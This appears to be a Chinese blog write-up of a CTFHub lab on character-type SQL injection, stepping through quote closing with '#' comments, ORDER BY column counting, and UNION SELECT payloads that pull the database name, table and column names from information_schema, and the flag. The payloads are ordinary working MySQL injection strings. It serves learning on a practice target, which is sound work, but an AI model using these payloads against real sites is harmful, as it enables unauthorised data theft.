天天看点

SQL注入学习记录 CTFHub SQL注入 字符型注入

打开页面后,可以看见界面和整数型注入长得差不多:

SQL注入学习记录 CTFHub SQL注入 字符型注入

先输入

1

,回显:

SQL注入学习记录 CTFHub SQL注入 字符型注入

然后输入

1'

,得到:

SQL注入学习记录 CTFHub SQL注入 字符型注入

自动给我们加上了单引号,这也是和整数型注入的区别,字符型注入参数需要单引号来闭合,整数型不需要。

这里如果接着想在后面输入语句的话,就要手动给参数加上单引号,然后将他加上的单引号注释掉。

Mysql 有三种常用注释符:

– 注意,这种注释符后边有一个空格

# 通过#进行注释

注释掉符号内的内容

于是我们输入

1' and 1=1#

,将1作为id的参数,用#将他自带的单引号注释掉,回显:

SQL注入学习记录 CTFHub SQL注入 字符型注入

然后通过order by x找出该数据表的字段数量,输入

1' order by 1#

1' order by 2#

,返回结果相同,输入

1' order by 3#

返回结果不同,证明字段数为2。

SQL注入学习记录 CTFHub SQL注入 字符型注入
SQL注入学习记录 CTFHub SQL注入 字符型注入

然后通过union注入,输入

-1' union select 1,2#

,回显结果:

SQL注入学习记录 CTFHub SQL注入 字符型注入

说明在

-1' union select 1,2#

中,1,2的位置都能回显。

所以输入

-1' union select 1,database()#

,爆出数据库名:

SQL注入学习记录 CTFHub SQL注入 字符型注入

得到数据库名sqli,接着输入

-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#

,爆出sqli库中的表名:

SQL注入学习记录 CTFHub SQL注入 字符型注入

得到表名news和flag,很明显flag就在表flag中。

然后输入

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#

,爆出列名:

SQL注入学习记录 CTFHub SQL注入 字符型注入

得到列名flag,最后输入

-1' union select 1,group_concat(flag) from sqli.flag#

,爆出字段内容:

SQL注入学习记录 CTFHub SQL注入 字符型注入

成功拿到flag!

总的来说和上一题差别不大,继续学习,加油!